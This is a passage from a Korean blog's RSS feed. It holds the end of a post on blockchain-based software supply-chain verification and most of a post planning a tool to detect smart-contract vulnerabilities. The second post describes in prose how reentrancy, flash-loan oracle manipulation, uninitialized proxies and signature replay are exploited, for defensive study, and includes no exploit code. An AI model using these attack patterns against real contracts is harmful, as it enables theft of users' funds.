&lt;p data-ke-size=&quot;size16&quot;&gt;가장 큰 도전은 확장성과 비용이다. npm에는 매주 수만 건의 패키지 업데이트가 일어난다. 이 모든 걸 이더리움 메인넷에 기록하면 가스비가 천문학적으로 늘어난다. 레이어 2 솔루션(Optimism, Arbitrum)을 사용하거나, 배치 처리로 여러 업데이트를 한 트랜잭션에 묶거나, 심지어 별도의 사이드체인을 구축하는 것도 고려해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 경험도 큰 고민이다. 대부분의 개발자는 블록체인 지갑이 없고, 가스비를 내고 싶어 하지 않는다. Meta-transaction을 사용해 가스비를 프로젝트에서 대신 지불하거나, 무료로 읽기만 하고 쓰기는 패키지 메인테이너만 하도록 제한할 수 있다. 또는 초기에는 중요한 상위 1000개 패키지만 온보딩하고 점진적으로 확대하는 전략도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 생태계와의 통합도 어려울 것이다. npm, PyPI 같은 기존 레지스트리들이 협력하지 않으면 parallel 시스템이 되어 채택률이 낮아진다. 기존 레지스트리의 미러 역할을 하면서 추가적인 검증 레이어를 제공하는 방식이 현실적일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 조사 후 느낀 점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주제를 깊이 파고들수록 공급망 공격이 단순히 기술적 취약점을 악용하는 게 아니라 신뢰 관계를 악용하는 사회공학이란 걸 깨달았다. event-stream 공격자는 몇 달간 정상적으로 기여하면서 커뮤니티의 신뢰를 얻었다. 기술적으로는 아무 문제가 없었다. 문제는 사람과 프로세스였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인이 만능은 아니라는 것도 배웠다. 블록체인은 &quot;무엇이 일어났는가&quot;를 투명하게 기록하지만, &quot;그것이 올바른가&quot;를 자동으로 판단하지는 못한다. 악성 코드가 정상적인 프로세스를 통해 서명되어 블록체인에 기록될 수 있다. 따라서 블록체인은 전체 보안 전략의 한 부분이어야 하고, 코드 리뷰, 정적 분석, 샌드박스 테스팅 같은 다른 방어 계층과 결합되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 인상 깊었던 건 이 문제가 기술뿐 아니라 거버넌스와 인센티브 설계의 문제라는 점이다. 누가 패키지를 검증할 것인가? 검증자에게 어떤 보상을 줄 것인가? 악의적인 정보를 제공하는 노드를 어떻게 처벌할 것인가? 이런 질문들은 순수하게 기술적으로만 답할 수 없고, 경제학과 게임 이론을 요구한다. 암호경제학(cryptoeconomics)이 단순한 유행어가 아니라 실제로 필요한 학문임을 깨달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://slsa.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://slsa.dev/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760620031682&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Supply-chain Levels for Software Artifacts&quot; data-og-description=&quot;SLSA is a security framework. It is a check-list of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure in your projects, businesses or enterprises. It&amp;rsquo;s how you get from safe enough to being as resilien&quot; data-og-host=&quot;slsa.dev&quot; data-og-source-url=&quot;https://slsa.dev/&quot; data-og-url=&quot;https://slsa.dev/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bK0aeI/hyZLu8flOq/8WsF7iqkfyNPsNejGm1Ggk/img.png?width=192&amp;amp;height=192&amp;amp;face=0_0_192_192,https://scrap.kakaocdn.net/dn/cb01YC/hyZLtnXtq2/SsUaWEss6AQD4zJe9NI9T1/img.png?width=192&amp;amp;height=192&amp;amp;face=0_0_192_192,https://scrap.kakaocdn.net/dn/bh7DJB/hyZLqShs0j/Lvn7zykeCRt8phzCW6gfrK/img.png?width=2785&amp;amp;height=960&amp;amp;face=0_0_2785_960&quot;&gt;&lt;a href=&quot;https://slsa.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://slsa.dev/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bK0aeI/hyZLu8flOq/8WsF7iqkfyNPsNejGm1Ggk/img.png?width=192&amp;amp;height=192&amp;amp;face=0_0_192_192,https://scrap.kakaocdn.net/dn/cb01YC/hyZLtnXtq2/SsUaWEss6AQD4zJe9NI9T1/img.png?width=192&amp;amp;height=192&amp;amp;face=0_0_192_192,https://scrap.kakaocdn.net/dn/bh7DJB/hyZLqShs0j/Lvn7zykeCRt8phzCW6gfrK/img.png?width=2785&amp;amp;height=960&amp;amp;face=0_0_2785_960');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Supply-chain Levels for Software Artifacts&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;SLSA is a security framework. It is a check-list of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure in your projects, businesses or enterprises. It&amp;rsquo;s how you get from safe enough to being as resilien&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;slsa.dev&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.sigstore.dev/cosign/signing/overview/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://docs.sigstore.dev/cosign/signing/overview/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760620168421&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Overview&quot; data-og-description=&quot;This document explains how identity-based, or &amp;ldquo;keyless&amp;rdquo; signing works in Sigstore. To learn more about OIDC, please review OIDC Usage in Fulcio. Keyless signing associates identities, rather than keys, with an artifact signature. Fulcio issues short-li&quot; data-og-host=&quot;docs.sigstore.dev&quot; data-og-source-url=&quot;https://docs.sigstore.dev/cosign/signing/overview/&quot; data-og-url=&quot;https://docs.sigstore.dev/cosign/signing/overview/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b8dWxb/hyZLuf4PiH/tAtkkcwY13QbPl8vqN2qCk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/bhKkmQ/hyZLC6ghiO/k30IRl90yPQi1fBk1J2IoK/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/c3EJnF/hyZLwdTR6S/wTSgWlEDzQGW440KhVikBk/img.png?width=1587&amp;amp;height=1302&amp;amp;face=0_0_1587_1302&quot;&gt;&lt;a href=&quot;https://docs.sigstore.dev/cosign/signing/overview/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.sigstore.dev/cosign/signing/overview/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b8dWxb/hyZLuf4PiH/tAtkkcwY13QbPl8vqN2qCk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/bhKkmQ/hyZLC6ghiO/k30IRl90yPQi1fBk1J2IoK/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/c3EJnF/hyZLwdTR6S/wTSgWlEDzQGW440KhVikBk/img.png?width=1587&amp;amp;height=1302&amp;amp;face=0_0_1587_1302');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Overview&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;This document explains how identity-based, or &amp;ldquo;keyless&amp;rdquo; signing works in Sigstore. To learn more about OIDC, please review OIDC Usage in Fulcio. Keyless signing associates identities, rather than keys, with an artifact signature. Fulcio issues short-li&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.sigstore.dev&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>TechDocs | Blog</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/30</guid>
      <comments>https://c0mpos3r.tistory.com/30#entry30comment</comments>
      <pubDate>Thu, 16 Oct 2025 22:09:52 +0900</pubDate>
    </item>
    <item>
      <title>[Knight Frontier] BoB 프로젝트 탐구 - DeFi Hacking - Smart Contract 취약점 분석 및 버그클래스 자동 분석 도구 제작</title>
      <link>https://c0mpos3r.tistory.com/29</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 선정 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인은 불변성이 특징인데, 역설적으로 이게 가장 큰 문제다. 한번 배포된 스마트 컨트랙트는 수정이 거의 불가능하고, 취약점이 발견되면 수억 원의 자산이 순식간에 사라진다. 2022년 Ronin Network 해킹에서 6억 달러 이상이 증발한 사건이나, 최근까지도 계속되는 DeFi 프로토콜 공격들을 보면 이건 단순한 기술적 문제가 아니라 실제 사람들의 돈과 직결된 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 흥미로운 건 대부분의 취약점이 새로운 게 아니라는 점이다. Reentrancy, Integer Overflow 같은 알려진 패턴들이 계속 반복된다. 이건 자동화로 충분히 막을 수 있다는 뜻이고, 동시에 개발자들이 보안에 대한 체계적인 접근을 하지 못하고 있다는 의미이기도 하다. 전공 수업에서 소프트웨어 보안을 배울 때 이론적으로만 이해했던 취약점들이 실제로 수조 원 규모의 피해를 만들어내는 걸 보면서, 보안이 선택이 아닌 필수라는 걸 절실히 느꼈다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 관련 기반 지식&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 스마트 컨트랙트와 EVM(Ethereum Virtual Machine)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 컨트랙트는 블록체인 위에서 실행되는 프로그램으로, 특정 조건이 충족되면 자동으로 계약이 이행되는 자율 실행 코드다. 이더리움에서는 주로 Solidity 언어로 작성되며, 한 번 블록체인에 배포되면 코드 수정이 불가능하다는 특징을 가진다. 이러한 불변성은 신뢰를 보장하지만, 동시에 버그가 있을 경우 치명적인 결과를 초래한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EVM은 이더리움 네트워크의 분산 컴퓨팅 환경으로, 스택 기반의 가상 머신이다. 각 연산마다 가스(Gas)라는 비용이 책정되어 있으며, 이는 네트워크 과부하를 방지하고 무한 루프 같은 악의적 코드 실행을 막는다. EVM의 동작 방식을 이해하는 것이 스마트 컨트랙트 보안의 출발점이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;스택 기반 아키텍처&lt;/b&gt;: EVM은 256비트 워드를 사용하는 스택 머신으로 동작한다. PUSH, POP, ADD 같은 명령어들이 스택을 통해 데이터를 조작하며, 이 과정에서 오버플로우나 언더플로우가 발생할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상태 저장 방식&lt;/b&gt;: 컨트랙트의 상태는 Key-Value 형태로 Storage에 저장되며, 각 슬롯은 32바이트를 차지한다. Storage 접근은 매우 비싸기 때문에(SSTORE 연산은 20,000 가스) 최적화가 중요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가스 메커니즘&lt;/b&gt;: 모든 연산에는 가스 비용이 있으며, 트랜잭션 실행 시 사용자가 설정한 가스 한도를 초과하면 실행이 중단되고 상태가 롤백된다. 이는 DoS 공격을 방지하지만, 가스 부족으로 인한 의도치 않은 실행 실패도 발생할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. DeFi(탈중앙화 금융)의 구조와 작동 원리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DeFi는 중개자 없이 블록체인 상에서 금융 서비스를 제공하는 생태계다. 전통 금융은 은행, 증권사 같은 중앙화된 기관이 신뢰를 보증하지만, DeFi는 스마트 컨트랙트 코드 자체가 신뢰의 기반이 된다. 대출, 예금, 거래, 보험 등 거의 모든 금융 서비스가 코드로 구현된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DeFi의 핵심은 '컴포저빌리티(Composability)'다. 마치 레고 블록처럼 서로 다른 프로토콜들을 조합해 새로운 금융 상품을 만들 수 있다. 하지만 이는 양날의 검이다. 한 프로토콜의 취약점이 연결된 다른 프로토콜들로 전파될 수 있기 때문이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AMM(Automated Market Maker)&lt;/b&gt;: Uniswap 같은 DEX에서 사용하는 방식으로, 유동성 풀(Liquidity Pool)을 통해 자동으로 가격을 결정한다. &lt;b&gt;x * y = k&lt;/b&gt; 공식을 사용하며, 거래가 발생하면 풀의 비율이 변해 가격이 자동 조정된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유동성 제공과 이자 농사&lt;/b&gt;: 사용자들이 자산을 풀에 예치하면&lt;b&gt; LP(Liquidity Provider)&lt;/b&gt; 토큰을 받고, 거래 수수료의 일부를 보상으로 받는다. 이를 다시 다른 프로토콜에 스테이킹해 추가 수익을 얻는 것을 Yield Farming이라 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;담보 기반 대출&lt;/b&gt;: MakerDAO, Aave 같은 프로토콜에서는 암호화폐를 담보로 맡기고 스테이블코인이나 다른 자산을 빌릴 수 있다. 담보 비율이 일정 수준 이하로 떨어지면 청산(Liquidation)이 자동 실행된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 주요 스마트 컨트랙트 취약점 유형&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 컨트랙트 취약점은 크게 코드 레벨 버그와 로직 레벨 결함으로 나뉜다. 코드 레벨 버그는 프로그래밍 실수로 발생하며 정적 분석으로 탐지 가능한 경우가 많다. 반면 로직 레벨 결함은 비즈니스 로직 자체의 설계 오류로, 각 함수는 정상 작동하지만 조합했을 때 예상치 못한 결과가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. Reentrancy(재진입) 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reentrancy는 스마트 컨트랙트 역사상 가장 악명 높은 취약점으로, 2016년 The DAO 해킹으로 5천만 달러 이상의 피해를 냈다. 외부 컨트랙트를 호출할 때 제어권이 넘어가는데, 그 사이에 상태가 업데이트되기 전이면 공격자가 같은 함수를 반복 호출할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Classic Reentrancy&lt;/b&gt;: 출금 함수에서 call.value() 로 이더를 전송한 후 잔액을 업데이트하는 순서 문제. 공격자는 fallback 함수에서 출금 함수를 재귀적으로 호출해 잔액이 차감되기 전에 여러 번 출금한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cross-function Reentrancy&lt;/b&gt;: 서로 다른 함수 간의 재진입. 함수 A가 외부 호출 후 상태를 업데이트하는데, 그 사이에 공격자가 함수 B를 호출해 아직 업데이트되지 않은 상태를 악용한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Read-only Reentrancy&lt;/b&gt;: 상태를 변경하지 않고 읽기만 하는 함수도 위험할 수 있다. 외부 호출 중에 다른 컨트랙트가 일관성 없는 상태를 읽어 잘못된 결정을 내릴 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. Flash Loan 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flash Loan은 DeFi만의 독특한 메커니즘으로, 담보 없이 대량의 자금을 빌렸다가 같은 트랜잭션 내에서 상환하는 방식이다. 상환하지 못하면 트랜잭션 전체가 롤백되므로 대출자 입장에서는 리스크가 없다. 하지만 공격자는 이를 이용해 순식간에 막대한 자본을 확보하고 시장 조작이나 프로토콜 악용을 시도한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;가격 Oracle 조작&lt;/b&gt;: 단일 DEX의 가격을 참조하는 프로토콜을 대상으로, Flash Loan으로 막대한 물량을 사서 가격을 인위적으로 올린 후 다른 프로토콜에서 그 왜곡된 가격으로 이득을 취한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;담보 조작 공격&lt;/b&gt;: 담보 자산의 가격을 Flash Loan으로 조작해 청산을 피하거나, 반대로 다른 사용자를 억지로 청산시켜 청산 보상을 가져간다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Arbitrage Amplification&lt;/b&gt;: 여러 DEX 간 가격 차이를 이용한 차익거래를 Flash Loan으로 증폭시킨다. 개별 프로토콜은 정상이지만 조합하면 경제적 허점이 생긴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. Oracle 조작 및 의존성 문제&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Oracle은 블록체인 외부의 실세계 데이터를 스마트 컨트랙트에 제공하는 서비스다. 가격 정보, 날씨 데이터, 스포츠 경기 결과 등을 가져온다. 많은 DeFi 프로토콜이 자산 가격을 Oracle에 의존하는데, 이 Oracle이 신뢰할 수 없거나 조작 가능하면 전체 시스템이 위험해진다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;단일 출처 의존&lt;/b&gt;: 하나의 DEX나 중앙화 거래소의 가격만 참조하면, 그곳의 가격 조작이 직접 프로토콜에 영향을 준다. Flash Loan으로 일시적으로 가격을 왜곡시킬 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TWAP (Time-Weighted Average Price)&lt;/b&gt;: 일정 기간의 평균 가격을 사용해 순간적 조작을 완화한다. 하지만 TWAP 기간이 짧으면 여전히 취약하고, 너무 길면 실시간성이 떨어진다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Chainlink 같은 탈중앙화 Oracle&lt;/b&gt;: 여러 노드가 독립적으로 데이터를 수집하고 합의를 통해 최종 값을 결정한다. 단일 실패점을 제거하지만, 구현 비용이 높고 응답 속도가 느릴 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;라. Access Control 및 권한 관리 오류&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 컨트랙트에는 관리자만 호출해야 하는 민감한 함수들이 있다. 컨트랙트 업그레이드, 긴급 정지, 자금 인출 같은 기능이다. 이런 함수들의 접근 제어가 제대로 구현되지 않으면 아무나 호출해 전체 시스템을 장악할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Missing Modifier&lt;/b&gt;: Solidity의 onlyOwner 같은 modifier를 빼먹으면 누구나 관리자 함수를 호출할 수 있다. 간단한 실수지만 치명적인 결과를 낳는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Uninitialized Proxy&lt;/b&gt;: Proxy 패턴을 사용할 때 initialize 함수가 public이면, 공격자가 먼저 호출해 자신을 owner로 설정할 수 있다. 반드시 배포 직후 즉시 초기화해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Signature Replay&lt;/b&gt;: 서명 기반 인증에서 nonce나 타임스탬프 검증이 없으면, 한 번 사용된 서명을 계속 재사용할 수 있다. EIP-712 표준을 따라 구조화된 서명을 사용해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 스마트 컨트랙트 분석 기법&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. 정적 분석 (Static Analysis)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 실행하지 않고 소스 코드나 바이트코드를 분석해 잠재적 취약점을 찾는 방법이다. 빠르고 비용이 적게 들지만, 실제 실행 흐름을 고려하지 못해 False Positive가 많을 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AST(Abstract Syntax Tree) 분석&lt;/b&gt;: Solidity 컴파일러가 생성하는 추상 구문 트리를 파싱해 코드 패턴을 찾는다. 예를 들어 외부 호출 후 상태 변경 패턴을 찾아 Reentrancy 가능성을 탐지한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dataflow Analysis&lt;/b&gt;: 변수의 값이 프로그램 내에서 어떻게 흐르는지 추적한다. 사용자 입력(tainted data)이 적절한 검증 없이 민감한 연산에 사용되는지 확인한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Control Flow Analysis&lt;/b&gt;: 프로그램의 실행 경로를 그래프로 표현하고, 모든 경로에서 불변 조건이 유지되는지 검증한다. 예를 들어 모든 분기에서 접근 제어가 확인되는지 체크한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. 심볼릭 실행 (Symbolic Execution)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적인 값 대신 심볼릭 변수를 사용해 프로그램을 실행하고, 가능한 모든 실행 경로를 탐색하는 기법이다. 특정 조건을 만족하는 입력값을 찾아낼 수 있어, 개발자가 예상하지 못한 edge case를 발견하는 데 효과적이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;경로 제약 수집&lt;/b&gt;: 각 분기문마다 조건을 심볼릭 표현식으로 기록한다. 예를 들어 if (x &amp;gt; 10) 을 만나면 한 경로는 x &amp;gt; 10, 다른 경로는 x &amp;lt;= 10 제약을 갖는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SMT Solver 활용&lt;/b&gt;: Z3 같은 SMT(Satisfiability Modulo Theories) Solver를 사용해 제약 조건을 만족하는 구체적인 값을 찾는다. &quot;잔액이 음수가 될 수 있는가?&quot; 같은 질문에 답한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경로 폭발 문제&lt;/b&gt;: 복잡한 프로그램은 가능한 경로가 지수적으로 증가해 분석 시간이 기하급수적으로 늘어난다. 휴리스틱을 사용해 중요한 경로 우선 탐색하거나, 일정 깊이 이상은 포기하는 전략이 필요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. 퍼징 (Fuzzing)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무작위 또는 변형된 입력을 계속 생성해서 프로그램에 주입하고, 비정상 동작이나 크래시를 관찰하는 기법이다. 스마트 컨트랙트에서는 함수 호출 시퀀스를 무작위로 생성해 불변 조건(invariant) 위반을 찾는다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Property-based Testing&lt;/b&gt;: &lt;b&gt;&quot;컨트랙트의 총 잔액은 항상 개별 사용자 잔액의 합과 같아야 한다&quot;&lt;/b&gt; 같은 불변 조건을 정의한다. Fuzzer가 이를 위반하는 입력 시퀀스를 찾으면 버그를 발견한 것이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Mutation-based Fuzzing&lt;/b&gt;: 정상적인 트랜잭션을 기반으로 값을 조금씩 변형시킨다. 예를 들어 금액을 0으로, 최댓값으로, 음수로 바꿔보거나, 주소를 zero address로 바꿔본다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Coverage-guided Fuzzing&lt;/b&gt;: 코드 커버리지를 추적해 새로운 경로를 발견하는 입력에 더 높은 우선순위를 부여한다. AFL(American Fuzzy Lop) 같은 도구가 이 방식을 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로젝트 진행 과정 예상&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트를 진행한다면 가장 먼저 실제 해킹 사례를 체계적으로 분석하는 것부터 시작할 것이다. The DAO, bZx, Cream Finance 같은 유명 사건들의 사후 분석 보고서(Post-mortem)를 읽고, 실제 취약한 코드를 직접 분석해본다. 각 사건에서 어떤 취약점이 어떻게 악용되었는지, 공격자의 트랜잭션을 Etherscan에서 추적하면서 공격 흐름을 재구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 버그 클래스 분류 체계를 만든다. OWASP나 SWC Registry를 참고하되, 실제 해킹 사례에서 반복적으로 나타나는 패턴을 중심으로 재분류한다. 단순히 &quot;Reentrancy&quot;로 묶지 않고 Classic, Cross-function, Read-only로 세분화하듯이, 각 취약점의 변종들을 구체적으로 정의한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석 도구 개발 단계에서는 정적 분석을 중심으로 하고 필요시 Symbolic Execution이나 Fuzzing을 보조 수단으로 사용한다. Solidity AST를 파싱하는 라이브러리를 활용해 코드 패턴을 탐지하는 룰 엔진을 만든다.&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;외부 호출(call, transfer) 탐지&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;그 이후에 상태 변경(SSTORE) 발생 확인&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ReentrancyGuard 같은 방어 메커니즘 존재 여부 체크&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;발견 시 경고 레벨 결정 (High/Medium/Low)&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;False Positive를 줄이기 위해 실제 취약한 컨트랙트와 안전한 컨트랙트로 구성된 테스트셋을 만들어 정확도를 측정한다. 도구가 놓친 취약점(False Negative)과 잘못 경고한 경우(False Positive)를 분석해 규칙을 계속 개선한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 결과물은 CLI 도구와 웹 UI를 모두 제공한다. 개발자가 배포 전에 로컬에서 빠르게 체크할 수 있도록 CLI를 만들고, 팀 차원에서 정기적으로 전체 코드베이스를 스캔할 수 있도록 CI/CD 통합도 지원한다. 리포트에는 발견된 취약점의 위치, 심각도, 공격 시나리오, 그리고 구체적인 수정 방법을 포함한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예상 시행착오&lt;/h3&gt;
